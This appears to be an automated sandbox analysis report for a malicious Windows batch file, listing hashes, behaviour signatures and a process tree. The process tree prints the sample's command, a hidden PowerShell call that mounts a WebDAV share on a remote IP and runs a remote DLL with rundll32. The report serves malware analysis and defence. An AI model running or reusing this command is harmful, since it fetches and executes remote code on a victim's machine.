Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    14/07/2024, 06:47

General

  • Target

    31155228892949721853.bat

  • Size

    2KB

  • MD5

    ee4b6bb770ae24bade2e0b12e474a9dd

  • SHA1

    6b6ec89c8fec9d7298c1e89d78f3db448eb0279d

  • SHA256

    1b59500d73beaf021d4d7d831af530502603a3f200ad38675e5ef779270f307d

  • SHA512

    adecc7f9d765258ec3c98847c27a39b2ed07efaa146fb7c41c2aa8be9d54a935358ec2ba98a3afabb3048cf91e3cfe34a323a5c2abbb5ab36bbc8854d88852c4

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\31155228892949721853.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2960
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:1580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\150.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2288
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2008
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\150.dll entry
          3⤵
            PID:2260

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2288-23-0x000000001B730000-0x000000001BA12000-memory.dmp

        Filesize

        2.9MB

      • memory/2288-24-0x0000000001F40000-0x0000000001F48000-memory.dmp

        Filesize

        32KB

      • memory/2960-16-0x0000000002470000-0x0000000002570000-memory.dmp

        Filesize

        1024KB